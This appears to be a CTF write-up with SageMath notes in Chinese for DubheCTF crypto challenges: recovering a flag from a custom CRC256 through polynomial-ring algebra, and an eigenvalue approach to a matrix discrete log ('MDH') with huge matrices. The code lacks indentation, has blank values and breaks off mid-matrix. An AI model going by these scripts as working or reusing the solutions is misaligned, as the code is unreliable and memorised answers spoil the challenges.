def crc256(msg,IN,OUT,POLY):
crc = IN
C = []
for b in msg:
crc ^^= b
for _ in range(8):
crc = (crc >> 1) ^^ (POLY & -(crc & 1))
return (int(crc ^^ OUT)).to_bytes(32,'big')
N = 256
# initial
IN = 63099938561368384682273832744222228239932297463025453211567680192517303217413
OUT = 64087742163489720744101417009983833487916989291959907865960769709775191027542
POLY = 96524382215148741097096734432107461549735749575301101155511505722956295104976
c0 = int(crc256(b'ms}',IN,OUT,POLY).hex(),16)
c1 = int(crc256(b'ms\xfd',IN,OUT,POLY).hex(),16)
print('c0',hex(c0))
print('c1',hex(c1))
poly = (c0^^c1)
assert poly == POLY
K2.<u> = PolynomialRing(GF(2))
poly = K2(list(bin(poly)[2:]))
F2.<x> = K2.quotient(u^256+poly)
msg = b'ms}'
m = F2(list(bin(bytes_to_long(msg[::-1]))[2:].rjust(256,'0')))
i = F2(list(bin(IN)[2:].rjust(256,'0')))
o = F2(list(bin(OUT)[2:].rjust(256,'0')))
a = (i+m)*x^(8*len(msg))+o
e = (''.join([str(i) for i in list(a)]))
e = int(e,2)
#检验多项式商环运算代码与CRC32的等价性
assert hex(e) == hex(c0)
K = a - m*x^(8*len(msg))
def res(msg,K):
m = F2(list(bin(bytes_to_long((msg)[::-1]))[2:].rjust(256,'0')))
re = (''.join([str(i) for i in list(K+m*x^(8*len(msg)))]))
re = int(re,2)
return (hex(re))
#检验K常量参与的运算与IN&OUT的等价性
print(res(b'ms\xfd',K) == hex(c1))在字节串长度大于32时，转换到多项式商环上的量的过程当中出现某些错误，即只要以上述公式为基础把DubheCTF{字节串和}字节串与我们想求的量分离开来，就能恢复flag。
m = b'DubheCTF{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}'
def put(msg,i):
return F2(list(bin(bytes_to_long((msg)[::-1]))[2:].rjust(i,'0').ljust(336,'0')))
a,b,c = put(b'DubheCTF{',256+80),put(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',256+8),put(b'}',8)
print(a+b+c == F2(list(bin(bytes_to_long((m)[::-1]))[2:].rjust(336,'0'))))
def put(msg):
return F2(list(bin(bytes_to_long((msg)[::-1]))[2:].rjust(max(256,len(msg)*8),'0')))
a,b,c = put(b'DubheCTF{')*x^80,put(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')*x^8,put(b'}')/x^248
print(put(m))
print(a+b+c == put(m))差不多调通了
c0 = 0xb28a9911e80ce55ac2815e4fe8f23cca7464cf331322718cd754f19f22db6f06
c1 = 0x67ec4453e18245916c1b9a59490096aeb8bc709dd8463e2b9db9686847ed86d6
poly = c1^^c0
POLY = deepcopy(poly)
K2.<u> = PolynomialRing(GF(2))
poly = K2(list(bin(poly)[2:]))
F2.<x> = K2.quotient(u^256+poly)
def crc256(msg,IN,OUT,POLY):
crc = IN
C = []
for b in msg:
crc ^^= b
for _ in range(8):
crc = (crc >> 1) ^^ (POLY & -(crc & 1))
#print(crc,b)
return (int(crc ^^ OUT)).to_bytes(32,'big')
def twist1(crc):
if crc & 0x8000000000000000000000000000000000000000000000000000000000000000:
crc = ((crc ^^ POLY) << 1)+1
else:
crc = crc << 1
return crc
def twist_crc256(data,end, poly = POLY):
crc = end
for b in data[::-1]:
for _ in range(8):
crc = twist1(crc)
#print(crc,_)
crc ^^= b
#print(crc,b)
return crc
def k22int(f):
a = bytes_to_long(int(''.join([str(i) for i in list(f)]),2).to_bytes(32,'big'))
while a % 256 == 0:
a //= 256
return a
def msg2k2(msg):
return F2(list(bin(bytes_to_long((msg)[::-1]))[2:].rjust(256,'0')))
def int2k2(i):
return F2(list(bin(i)[2:].rjust(256,'0')))
m = b'abcdefghijklmnopqrstuvwxyz123456'
end = (bytes_to_long(crc256(m,0,0,POLY)))
assert (twist_crc256(m,end)) == 0
m = b'a'*33
end = bytes_to_long(crc256(m,3,0,POLY))
assert twist_crc256(b'a',end) == bytes_to_long(crc256(m[:-1],3,0,POLY))
m1,m2,m3 = b'abcdefgeh',b'abcdefghijklmnopqrstuvwxyz123456',b'c'
m = m1+m2+m3
end = bytes_to_long(crc256(m,4,0,POLY))
assert twist_crc256(b'c',end) == bytes_to_long(crc256(m[:-1],4,0,POLY))
end1 = twist_crc256(b'c',end)
start1 = bytes_to_long(crc256(m1,4,0,POLY))
assert crc256(m2,start1,0,POLY) == crc256(m[:-1],4,0,POLY) == long_to_bytes(end1)
print(k22int(int2k2(start1)) == start1)
end1 = int2k2(end1)
ans = crc256(m2,start1,0,POLY)
start1 = int2k2(start1)
m = msg2k2(m2)
s = start1
assert (hex(k22int((m+s)*x^256))[2:] == ans.hex())
def decrypt(ans,s):
return (long_to_bytes(k22int(int2k2(int(ans.hex(),16))/x^256-s)))
#打一遍试试
msg0 = b'}'*42
msg1 = b'}'*41+b'\xfd'
m1 = b'DubheCTF{'
c0 =
c1 =
flag =
flag = long_to_bytes(flag)
io = F2(list(bin(c0)[2:].rjust(256,'0'))) - F2(list(bin(bytes_to_long(crc256(msg0,0,0,POLY)))[2:].rjust(256,'0')))
flag = bytes_to_long(flag)^^k22int(io)
flag = twist_crc256(b'}',flag)
start1 = int2k2(bytes_to_long(crc256(m1,0,0,POLY)))
print(b'DubheCTF{'+decrypt(flag,start1)[::-1]+b'}')MDH
第一个想法肯定是提行列式然后用p-adic打，过程中发现M的行列式被控成了p的倍数，这样一来在A和B大于3的时候，得到的矩阵Ma和Mb的行列式肯定是0，也就无法实现这个想法。
在尝试人工求特征值，然后利用特征值幂肯定是矩阵幂的特征值的特点去进行整数DLP
重点看看怎么求特征值
p = 79008119711208495443423312926395331665944721527891616265679009115440018598629
M = [(347678119958623460788277114650629774156484674182390407399241523585095496347942772461000596396901640484684988947190109655326521483576200233900544625245600119191960053589012035537199831277011448368613385709903523556740279710104629127, 444211323079879570538651632722098964455276040143902990421762539018022383569296850728307819827968466931652216269183647912469948761451209381276058842517332853698589849162851683768955092271855801557650839664624273093462916802929350907, 389396606654281224497105968939970544252688314372350659656972239889870980785246213815536002322789780387580318885906934486170473525419006357982158903730740710980023297350968756236102276271386346469798976862109145537838101040408820587, 55197443724371607001727245468467161526790699026330775880731850471040434310497369600478723267196488899717710558671332404670233719420992875735985329000814567702670999282698414113183576703463352249859300392785088713582792961381846484, 417040298815206153009894309302253020063754161403773008029537366566298883213853420596295869167792196918558312896346649716803878757723186307198249801153874858076172777563471364810800787830786076561750158041469900092598487828461197774, 127707877273623052473208681094067078630772222772401066740928445838451601510893795542714452034351295614935354154553839732084332538620517582097782961860319622427490052337415631683278672539325114498093874420561779032644187025529937904, 53558527487363456314894683621019248149442517710836792202317220756130403880206179594795975110690393421925222715987686952690272492356773914976335904278186942121335664360036280502903498645393202985787661777693334718043601039027459847, 9819336335938222854664208554615310687581583386195054678243798194121790201631757068304338165362147366089621843815735240596160848240990751059185000027413621502700583062646636189729276386498444155782815617916333191333937034271590791), (344221072627038209103759561491511442796627777075649831226806391267516140949984907999829525336446237691548967012033398172655720020069993364488427327727965675954838755859017209859320491532866074550838846167012154372407940364247497355, 160851030357181706425258145580629021356642228478249361609279427322434509577628151979125129451503477614315230485457679520629142148453017378132426123188179984549189512670486807019440004691200065853997452184898643258104610477385420491, 144923911422826934173272123529726720834575993839793663266527776913213728825897811967222994713736236164400618691622249014503791047270118498376192361476784695269707056598907559178494094329857365623305940244348490852449273102246187261, 8156517362284210441409955593538981746405741693240037029797095211459925826665927622787052917180566407185521255247179372934778963951383263717981440886115044082609461652587891541234073133766687577213638516943093483901124305628415794, 278967151616290032416297538193453961465493377344351391497016940269161902377745914236283989672035646563877321868531656750440402227281815263183152512726052011974425229429341282947133309441777117454723368362378279652764274189044067411, 323854622052706547244808972432023622917561536752684855051594841401611326816232314490322508110512117063519702425825076068152418013455564276662343430918368542328933117359411072959916305193855929264346398190221362351312604283602530916, 250502950002827358235310261600307497656251445433197634739930454726770880043478414680188068868729060468473536601463156639704028120323653305687500121586098678210038143997062899888816900087323847847730009918908265551296694457885731913, 16031484155748743785552038433314841198261268204956805475912249988231293693809206769302989236138591591521853626661930029776092376890670693156123334492533217701674828712129617129024961665657783472926454455718295221755777447102788197), (134462662709344633026611783680728397198918607820443115921543164815324816879539025315445788869102439171623505481607649752465294692682968702899443959434897841947700777957619084551596464307231209892683453615079012650747748118959113464, 391302022710538527114038978764307195138123402371304672960354058566064589093754414608119840320565251827794119318690316418531550508972124937959987485712718659397905156952760521044875454899996898374044688215685509370526081007001846125, 16295181582565480451076161591631245775894671486329914478186945166625555375049345228437001872979924121495713521991168671603711744190632953182293251184093787063867063687821786334813217065136790894223676406981462977608711429912853633, 369263157608083171680647138867073107390306438356636924816114710091029505451894384575469319259431428793128061332590162576398262143508725050506285740618182449305956507905732334288282498979041817994810883617601991673720579479729559997, 204306190526105932470088245041825520778872413136782990325425046032159778341333009819380389169749994460998245171036626480013468954874832416267221754177965240735696340653724431949324916357798785834543977891945540307280851141279396075, 389645112298834474398866354358868893359932818638433667881284511949882947203160458503508481154015103889785414219011618888713679907502292331106569559063021538247967884562735128331636355753007969797227272519143216474411103605169236951, 458514243577502634503183802587236407158366948723375981663297913698334667155769270422982437755553281264271951608487755316355355212371251777660133555574623223898747330349245698186490300355873153184519132567616518246335909234236644029, 270447154394690486686754245253694243177263143345820460799187796730518087031018921859054771202034394492097589468189365264133731766837441063883206943777509575678314902816237212581448314450461648939477012908918296255606106562014902563), (51198537560740594623749358582725227077627301295670410923249000426723559678809541352888172403071649819617298439051221258041663611040848543807799644854108220270178928660875841129010125165362142790172373669281451452552741863883910858, 99641770757101737029542037956421861300408933209879799533611874216234843235972069359245283436913075130906650555118585958788505508501634382548484362456587697227109610781502708520819016333621347379814351408448497556400247072494935627, 421046730195284146415264715142410971973849607847800145197860030696131941356694954628423985775937709649778648032394910366469904015796160690612877944276105124574609631020654556822466004845435018019920805635656707439369032804510926306, 477516954225627261649687290337175054036375800022868034654074804516359177013490411184818225416623621196350557892048977893803536456939375954322241199139650329168040747374879506489182238513471729966479963602629714598190127264801188366, 247928026937837554355145033092270300554842493224322728066824513882072761917489193854492203855619305093589085307422034217522446797937026661875574555875005032824544900129267621367005192823078805689061004908037290287083925170954656821, 141853078298246804800793823650413928994959181838901261185168152661772992779063791532366978747137307158520272304228098476644472849594175953250781295897569982872411399883226631120474887345544496368406330280444812444794166162267633893, 275867151901088813908452913880506695695504260055403304046095302624631865990598036693197111495659235956605957819210692243568899040830830165140276633026939996762007356808290999406426902762704842861641578412497336434860068567071904717, 422715621377225990946489056362732944619835399139280916956752062526661552395429682160766988840712207661231850640516455978511635878700597407285783670789711971257192384128902842017556400486124144501773663263068375937434378942699177499), (97718169221038638585050853769328815125336108762691702108071812025326727809259053381331538017571791258464615163192806968320146284030498216655320124183361771134686470767607192438658812771378065930182061379991859219649977913861017897, 48866016248539440081747126390251812820049476623892603808999031103920526565567830166024215892493092791157032038569956313674571052788336906113395529951195551316680567158208030086370713663454649068078024566884767315916799825101620508, 288982243649474523573737415762940643624251188876534847318400119187314054907226215553943648253012645621033043147694079844258040494202315441445813033747968913176678534442259623378652655417022637462335401427251603255294148043909305611, 222926930359894429031067566839862783704586352632013772308796423027396871395919677074128333677255975415362933348338257625271617693334064641392015730141008122773769886178846688362636273274828198058127202925217225663496639999094256412, 467102215937465841863457728133306742748093130511517567779889974488647077594223970469254585740669792455254899626043402498420386319555708453944803278787465513485488889285821192026895607645019880121990519763178154613630940927626212538, 180382682587134568933177648439318591154991832525207007837471480865338528568398804451795894087514928426307349284849061325028156371483396714292808125709919106889837390356040612530451147682943897205810790348415563405776670174659196451, 465365022027077946173297051734564019609673670657477568052799681019997212636277909736558371241157216598266868885370428910346211726628278107472993987271318813368565540085214394918411725847778599823055793601401377244424002941952862871, 160383938450880387584857741784237253653411075047224510304318482648441774857889426659659825609096420592985660752329530767231733186930019435813661784912049437430628396207975330312226039395440726228675090944392886017885706116168499570), (88879922112924575576184949252769078684998502533550526748699458818918813381407910217221317107582209922127877434689339462581626923597143430107508619952832055268871541368068614186130551273431488087012363253998162253261830299714697363, 471466337272277024541144902236194387834332813442887713050716270121449130017627035838208220362142197048338981645612554424468509377071566569529948004365441233182678292053614824314801745531478143045725880070818555542916870476154005467, 314015874261088917119070445380155696454677896381955287076997643803067713741272068338262510738147775772149238168094729546687184506623629496153791635372277431001062617132314520317058247857998330983665845903826400193140603476244556546, 321997143621710524036491111925942633130325744033117721723808812326473800035587586636383291921313814025315496668441442004599740268254399841355783778677909004998622790019860334206895849856129248849621798981164997449733165901588134270, 411708346694149746803778763586158245419631857196436369760702503485328425241775130456507646888002473231427647717474153168724168976950596067597032158661718114334930295082329829452096808999386183066916806324840427311647079692359049411, 216385154420057048706614325845651316289382990478372830121532583392302419920738950597312092915591889010954727973990728400002567653612387058422340229218949469568907619078850600407639741671876791072719163874066447180921112103565243931, 111523682512993117113082284989015414545047398919145518567692247094563763679705392450031104320951905567233333183753138209820795588972051081650937673352339151815447796171710217835615677373729845659231209177465207517782414301012089613, 103079965048362151777337252688757054446795558604378649495936980552489598796838265407222977512049979129789565085280115616064322018798793650256749031319583450764861868985882674752559469829345580533630847612585618276220372501183544442), (438862098728236589900657735299597012163103761886358247867589852428310291971665415802316991486312917640828152459278893825951388997467730667706254705790766632977930430881345198316488697606595203887101358381390177287010864796317766737, 186281137806715442120797627520637223977095064581576047024132710790100117494151221446570875784179004771205057673008509138256543902960655924833468919632750533673497333715745108868170285444332158718396141238328733302293537106130258316, 100536775780026308690893115685912553600368283269480000912956503006380232301469306303611684636727473688455199769164650785609407467556175057171971723188155925825478900299975409044173880017640444686498392077827702823841658932399297011, 34198085957823799426190770813662983674909082148068733064817318260729301107796333397704122872992838174038311359049520011181279626244205822226654898442988395343040138187486273307040060503171879939891524579313694977091298929325903353, 440145693327632223535499301617250561846004975673383255753907047110269646991601381197055849748705800992010526551775121152386999353250131200873204299386838420967732886253376689422598768870131899787220938662143123403201312736321266732, 253781662328615406979988894071411625617898512915716549983231316955710799053716800173453332400409819337440476338491264607653885574037648621035626386891589401142568688563480797363431300529467240303864209299919816880264656176714845099, 101250276445253892460363696534876121945576962317179937793638450392828905833215769079510624520708407600022104683844611328080306125450254480938972994233153979072940128864209669141978687440981636682117779966638793360368583832820647429, 233927985567339180725752987820007785021812940617927546669060901265748720332042227286700469002229944259370659828475453686102204470563890062336259342081941740013812748837153685436036512906569625313264400289077194550659866614215919258), (97569386838905858010236004403265055784438557361317652496677195903888709828446206426335144197360257223875794412164587876897211320842938718907543466905408226624112457293403600524976608750253468936902194991399302216534001780338048544, 114387802543200663063032046650447162999283002233570653586344104395583821437126832571543265273521228441701529490977656323716463101497387270416592526260538050538894661328253712014311324898089348518147557249543983902548245408440841379, 275995378098065734729702626885501143234566566802869424070754368018683264109574487553182112919356609818843752031533427294494502826639985274757793718795833807847458934742899326158233827146021405020603027161206396048629903567695649896, 247390830384338670575031511036318580157984049784242586645349784353362476026928054622944972621559934108379156038206594461909048037109830605515475780081631764376188155546049861592639905093180183547950031236729210530064358005464374304, 469887957228202573319982871182735039726402956158007394502980093285356478002326483673025800590899504822290164111805311553787123253732772728454207877179979459269443511168862971232805869239275233736586492978332188960712644161596622387, 364995454036511583022864237485246245974826920958906181249972329284206202589428440098640177729188844510487766326465730145012710671785489023476705056089747766719108681639452142580475269735142779399751387994179336351213672807686008399, 144349559643636765794966525222174252648836842221816308639510173845650890139994296673718160556928852257192438359469073106140767289382982897863037743749489352636379233954970915911125370386016230000340118640472057896952912534198812622, 445926690035096711058688237447141574364203293942083800808917009959883405223529254653216371583693273191563597076452910473305818575577766404269991579514954907602005495656306426843458190725385174022060682281541707233849859540119073308)]
Ma =[(206739768424289995451379398337655608403465055027766062967580929283061090086544073423258115867409009092522507228936186770868556105745186863859938139174084244311364028597954483515297909099794805510295594029536567095422645712679806242, 382562915586718065879841534272998427998660359610099989658144416999797696632121339288370968165694025043104059500196056873941019691438728780462884770398254519774400446744767808508879397052746123619509589032620004480995470576382031616, 114892496984246433729398168543811142340857269117663910023242903495529086298397872260320850557185920318434462154333027987306461123278340611731417943226952018780234158169227780656661496027594678267823376933341808174521586252347844107, 359436348849617938631873704804625585671385358364963982613369944772032384982575639592334444443905740023233393402361830107651422206017868997327492094081244179129361332339949436106820171818228473882551667780705835467494424378586197979, 230035681988760462584479429500510686841437986679566870458718753552475834971327193239215822400672734794371877181951089235136664783990639386330707749571748579377391901978506091782891154738899622675106871969584759356212098095181531325, 26104030024361817715524155452906881481483833290694242559193802912808453584921873474148167368137729510385672127088071748599124859763827297739296128903117715703647645953898047818525455812432096642649663428820153492204491545275847578, 399217785510963114164012324636161089797181037664139977002573483579037127911032706374655841687064224105504227541566644824198893285827575706237676458897623515742120343696858923999333000010138598303054092639439818166426505581565803420, 424670096125546444564452400779433655474175081693695827789470621582840938343374561272380146322748420259816530568034694558789495384304336316967763525837220349982790131991086460850306769623225508012135790138058692443879444609022631721), (112802181908780696786024305163338580395135187541242450761534775398797575592248754754041958623033810394083469556185204874750702804826683576428597548934449344536899584978619947243414051513143873995804838813534208137713764249146440425, 330357768221341177094754718206199892820491839114957501758088933540619145752623336009387404848742267321049340302117524509904304935475952228324309050221114520517003614548520742588965584996860963106527350136027721892212922539936455373, 94734409486539446120830072070020934001340115831262475811882517864090962567912245374084830133609585203482044778370787400383009237929537051352918856553738279669541968641940137704886205163289314610697149938897286601089370929640339671, 407304333174498330207813242406707056775828269821430603966442883159438330588634005406281654289008737634877057283748770987820755258392862284121164560794860789219832430985940211943965994171863979353022355124174996281410627902952729819, 135775738247440987345608387190244418127372308646944678338042457061203262889043191854529100461118879657574135521960307492636023774002606295430509373289429831234841725036012604894759156636838528015725347985546930657506992966915939209, 117531396247378578658359615360499933402405042267675232746828748488960880426879874066974805093090059686396933036940605699139150621574066773721216479654515622069433646411070099152536288593975102515439192610620377818491628579807151774, 215502176468192790196648520001398947387943819789659219187091911772194516402531330391833923628769831966385708137893264371679755796383245399315428921874620062068005489988239742440809877310296648770105269542686351053797271203178362137, 172655300193063401588964199181007423145834056722312586083350490319148520232372860174135598619314108210660413807870327094149985441000852716775402679784962007685008452753517696089474096202321518077358810223223268885164998998274871640), (19596529668521889820415448487485218136874297949284570575522785460789385017442814463234739738989338475851489263786305002804890632724468665387039586328565238209720031217160926501764450913905725915473697978616419059457044170544930587, 309382258188510725456358118877923209354232882055542720263678713909435334857008536313039727396917921994561062195128128521214413227038847912829108683750232899971979519854096287958044636602539208291608672793243313988904934037142657559, 327748032188201965111858545310651283371435429350262559280773108605738049189239518532813432151254162525633054693291029008680852651601626615429343388644389566208285335837898588243129899179431711858607677115656161438534363815555803757, 311945333819513900838146725411803430100313209197085623297479702112198955101018547213473364634602566644158113193349859509837286062630479808291022887591750865800252251870559567198972921058464903273762362045753249986654652684541679530, 421139319657930082712175342000949141503806976507912015436463149219793467073778281341287132102333699149759339547373409493109118537219529791611605226603747851978544874505849275774485951150088046342265142489984682945864816321849723092, 55114926113072208745236210622009354061170523971744989133646881315117560916247828293637849646948020991740411746321010349402551573632353808621879262303851165608835995966845419249843719341629734464930287294380823793098865973295151539, 485626860749278499674538814926858777265145751106748964701804485845672197261392924411306723845169776802316701840167451628670688342584946662101236461096720682673560065016628190511924377284453206128778484865744246144778927486264456996, 451190850454546613214713026456030883296280794563895768545560041744945242353633459110563180719128678276583575326021437547656062986416503084531095237944141369915356765394519489307554825079641163266486657599553123056951867107756569312), (69012148315111357033860779978728314581613673775563745466512975467230265580931606824172835767873060141468336753336495192951955811962002150633318769230205407933035358606458211502873695806675157861239323728602157751511548452064122994, 167128123066767938170840550290244726445253848640043032915748542544234190335982517801036072233174546181747733636711948236348876856454683987888581251800759220434166474718410101702108741134081948907876698796553364955931709172518289985, 120697014785960602094550308956835255661034112724498205648399168047575337344514273909786062191821983850561563413794077373743602882875669209823143983906103453307868010689845255505705333978289779766288712580219568895577347711126211251, 124065901487217654378457709583463851027579155122998638960810241595753922945070741028513711468496074598976850504126408741846252445456058639964095959655298844197865223377145982110742996384474394011803179261566208390595658806885286714, 176523228173908115459256673752458309960935648529324985881147191181341693588889283624991797807900452917529382251738537513676724614160603056197926148938339734811023455094248284978281605746072257818770762635885269105621512152797130626, 457030239234335582061709381459374878591479326970468103729348903416323659017739601492654595658107456872361691241381621399455337436904289270201631318339027429911860892896250103879737493130847358049484539626923642764080971036904048117, 211128527306906240686197945554515706262456310044368810785920349958639417171435562684312351985237697357104433051122489310023169759351994208294248874492051888506392502208517276823492920893718633285550146109925425959140959929028761711, 467038527562091332295181061580210361244921320571636155180873887984523043530909193804798409562897831964690254428843921549747715663607477518219877938424323636111299157469208759054550512672338019965456209912421388790248910549703361601), (286889451960762078008374843702919154211598218509773022676002528625062923970938864332387046308586243744755705910363885283582515100831772262038017965400870411525869658314565589134201966590005301840033603248541806925501023094873354141, 424430968167681669348460078729197444059014196361100615166208735149397727049749010735790280624279805262228995276049639270973068308019326344546431949139218050850103652906114481600076820885663411432366964970304680839893307290146527475, 102162834351005713554042721720151654773442197852055070383768851902533035077390704138216695569017569922825786373728512729031876641480950000205964049908335217664593457590670838203598613270829732545651941427332991182350856243824424996, 362436531831000051380598240785672172625998946029110753337471448631593860593895262037730730300370618354918017559074970765022276056636157288439899305723523129643147357335851699145590750032296948975862019978191931833789804970472630477, 63935904944588765946334266766562844886775398881651320301611765460809888464098684381027093362267562367828002612311602172310146288840473359075552677906869510436365715132492855559811718397265183823726258343178216270095375938351598221, 56334464633924772329213989954547659438550902103647129977088539971245509202657229014333987636165509952038659800474021155928698809320567763191172681556528878444838465794236525325724826147767754150939518244974638428428550162731888814, 4666854985924078285850691634923897966451833778005653994005631446242284827142081555082355308862030656435305402581074044622341088426620629410503684956517405750598309561266224069588880032003729516730773028365638240768851028134683191, 257267584349654352363562675775015826092465719675656353869490935505406502524613134365852967065267414581628042406629009273014296098013501677907274627188011390812000634763634262662410040825635530225913615622637219471201979617875148059), (205472258748247968391252342204306899259272967802192167655561993080731738609965335396971831557583278031043978883611932406512031033499960418640080958965889959233728839066270144355400866987712362952860018947592633539061870352212898380, 340907386179532648220463132012162752460847843653236502545190607433172308929696951601533863456592451726433615290686042748613662305707824500612657407793143272867514318257418975690737967057887231198187591659092941163253982973625480805, 280293992462769563254670588092519422249143939149950393914068618216938222485463256339099241635391660328805908290810577368933039145682104188475930140138412874030813697631661910299972989818435276627764309379728819897858301563814669966, 14079730490341374206318802662246560704340203682647962922503369212277209114843407976759294548200499537261595252162356058744162509493070991253028758296018508523408623318621956854835254957483204095829279461512164398152320909641204768, 332055031952123369414938403250471739316272754685397712355092108386360953850427791478266200115111932325768773240986504121108703369704012881142498156914950868873042244049665960216120748237959703099434921793479664195766438168116338986, 437626510924101776153624449664740498372169620943426774791954180896965730903375788184329771227121089525201702076880923446508466859272821889868899863350906500775393218414657037090418474733611129592329045499648135190545809562088706988, 47877033536697263671417769427103003925520709001054128857291517435696557773157229033312913624337899669825943125875830477115205989748455687873958401331046244650899446404490670354251227279092089158456897118755100056045088077116166269, 24211181002477092241097087007722112515886159959270886650735856649358694311063003794722346504868720829066889125753567377157947054057673365963361710821562752564072318836428898378658801010539928830665714121044631389715737740048864226), (121793196256539114786757418188348804946639586769646129346479386827275177574872938718334235069010244319969030508174612133489323279924946232282901309363069177246544976767009696558995412287371884167311594891963684400757204463082274807, 257192617068255068866447964030130965944740805580493715477750150203547644908237702948282618995817554824951572072323666978546653865160905225901738468330639447046011591976959449805217098095125731131929248906633866803903441691248885372, 231788206481747623048470328882955956173173962891889003250650693899084913612096995872746495155665964419692702554553875713627210649463661660331077383096957887944856158869721105419040920582860970445686984900471306703600921992072707076, 325610486109007404964388032944702953793282865935790520132179948314866397026184724411875732712570930186184510390829035280799019938029767687255392454462493636893171250444492107035375904168464234742849584073097046274029752739580440798, 245033226906546268180205401695411869144576884260296287541949735578122830590058536040186991551867947239446831348514322376412622059802000763739204213391486638595656873012001229718410258552300925008387800127669767408359555630556491352, 138421605257676539579391859006147077651273406295626791183640647399695168643846559403480735337784852285651393639314578254128166022809501253220056857132899071469327029093279280479805026696489431385355628883788495283531323403771763722, 144790255235505859656949633523119421953222643213725285961638466725917121613922706310341157610865369570255576398972594664377420622723385378095740777060293841025843372025377007807051142047652481204587990204632215773976347127886852948, 315657741612894943016101833051609698393965892670985735674095134332329025806098303614431765806531730305640380985849327562185010540847520031424606937730898173348489856866422490850445891524496873510117477320422667974413456698965449039), (235366064826898644334025784051618445958418381649404431381928396786434112486793419003015646075592379935503961291319453770697170916944647647717922077582371886352591578460421219384691055139660032798228505567527126999990679695045881820, 268509531845862080092260936568128092752664650191005625512396807836480988959847119477843837957325761041853438740032064287373197069175948810979043013776971941548085129143445544304380373367086522606695904633997206470862393274778197587, 422748155680969651610398924743843995014955950961537354917227217148644032999303611036192316478001123506144784938027433588946997801658720940329768307705417474687829994691554303435860050499476823261737606556445050926072856919554772433, 161717621782209062726022330966501822351606057505696851743939082418965807168611061532022480086455924870260019432154525897467099376113909854969106879874618375572829571146545031524527417821746372676222787342162784809855771818317714630, 425619133444363921424997290076640521818392237765846808752574276410143363345415554778390709041576121289827574172927648327735187994167401357321923150670091353484782100262707249121522546736382705264813767209798061036899739756848910161, 126526992636367892617730575655458897545176503731548506246035871874868930716873202248536374101465071091953788814887596165754808584687556930532786106270188864797354792234026904976690713353210013872592075040061047222298385979455348552, 292547294361964649944052202224409400888129073046226078265221761027156642578028652869177362910249751847468882936457900905389470620921344986318146642384554315571817070881057642081542122903617295734256644650230590284956624919139280389, 290885030576189351836260311202947092166870714101795962185503257898312668761241997952036122331738248280772791798286278342542990004564734791050077531599221175244837628823681652015346122616003994498775357759076565750882950497513350374)]
Mb = [(452904818193039805256768769164475282389784941291299908689400370366615058750946281832344614194737265002981172639519709888150456889583308441975270391798687395301550632746246427974825660113643569647743179092865179447780207248646729335, 404639866348938118315548736376442690427520827256788291920792546804075878116026454590098829891936074866156976011260608573062878897832194507215366825089159659422966797199054745686484999318262503750949719195259339974169486730915431146, 213477282957393076405285724454233042923584506001517474647441483998602869851426756346959093584866835295517668445098059578059766531360013500797926865327576375163993143693316163726440138255524624704091893666776571529099776840111148666, 189684910152266380379860438738137573195835259313981628687330163389320360386879823828441404518184238115769505346633555090279577171253984042364854407659105992235558301877788518368102872696362867299215087772085419503833724737128114491, 162037281043570811150345846857518949299344132641363714661582729646796505254510127669848510481399398533708958177729919266976329370836029071345298680098334438631087015073748294072480500122041673030932846895717623746236333881940489258, 35766095621072903032082812519160090172517549166056749189560403740357820028003934127517647407458914815034684840491337335797320862983299717749398240847405900382359937295624170653916841357509854187117114252379530697262250785309125661, 20810592951875878094461663966787419243666321848957214182823631830301596332253219517828937466269769656016013293222213493810282398600564098455636587287613806082422324171924843264395148887822594884913910045257249052144162339838360138, 421166625882975138342595816092287476568583448897879208348708790346587612284814681700682949792149617669946496117592551705875737147762820716637068837845307193922944735444411667788843253356095559252089916075279340648315444502668987987), (285925551001039340149753541928559312964375311177217983252344185178820303624132891387771484757408664791064681484408895573118765723252067014626231512471372570309100370171354846767865261242957388120771345534988602792670496840317353316, 164246498938177720590700056462053685237525878063232752401198309423523923349490885137424378754999238652403175626896161248304082671000587768275728739746394517570825012558593346700684472517921228774167452493783226243991693596668033330, 333886077519194069722715468566623153665964631091808554972291826855965329975343179931284895606118086443677492719031138367611098017228121376747916733751709962747073152581033639793511645857943186432991268071210565123320851479459058708, 115675148378744059725764267349270274141861705520223270686955058913824359358037473978221799979560889320118197498566797447003887651278393698705754514069517102474025590939557954485192463528157572803021706860165662456232725087775228884, 160386883759466150061387175402508199526191384796108758588280558561382589129734577583847726708964338950258263432258309006152415351395459690481364932329215351876127671255108697767702820311902226682488835502910723726508080312199734347, 100141701967742149198986840091380264975016081492978249442304714626330387380018150295177055582231694053446201714814932404336231717286766943966369467308248464005027511313994809298125320423093537130129802295097095012946125164302440859, 152727816916083301331205862926781551893690431056920810348397475605705956782737852824989384625303753393433169913102283572028370922697507822970063015181479650490564711371857109908782898620726634878253643536476630608840009121527087541, 343710560628249841860382522712422233679803175731149638795788642251216545784182005026570498716061303188799029550891459189755289995686076814861164505831197392994791572818804759690369053982508298117686293764883879875479870047211684912), (378260912515269279750370403809493347685732788785541008517296604578773100642041770311738905019051931715707652325075668157454115984142002648855664285594515582791596577031096682578640518780731147917267145712423079795196492195877348390, 443022718492066559829907730409835659350960769049945409040998641818444592200187841848444645204882226448096759628485648043618498507963507941477424695385910297531967964130978742624279325893154540484897225134537026261435763714098993691, 442905181440137262223409015597038750618845392645769378673790890129835371716759590931273254923160927221274568032631771328802889778591346799504357849664003139186389045739176628392772263832999551054112834087100458591803289163566802189, 141653499735013336654452846961260973323553652482077622278457423548688448378222975783370917668602785107754139144374098030106910801602680923188172708356773541363592216192170407914803481026332151021727531779457197975383010423341327135, 206133947184082327873183220534356378539751761951131105378728599517430884433257676861822578196923580409088488212309043363818960680807071613598562819855906218078420033549592615413101490685423668327061816115423127046198519993548576968, 307572546684922436968885828801658694803981817530099687130357384831733120009278534607116300805825799773356555720497625324553113018305369240294956847409131947344948127122651057400035711580016019560662120191084141176418027378954911443, 200367857160112404692345376020057458843878718204928444811970979326809843961436056879010958354347906776120439066364334528144552152629020345373878791255007860741687919369825898487635320588864896948318099763490893242745876874974777650, 196546423432758820405123181623832627058810530950048974634360413482965248460342204639698707272721101851704215046156412539941174507954378732882865511908731876159876500375780990537579111455651150241805008018830807367470118051276346354), (323668292496079814695571945474095449405338628795428110261173317541751151715334942174504302607588804610756599613959331768612846039034984663526994324565105625272783569662264239426200304233319697938610040898888577008548627774431479732, 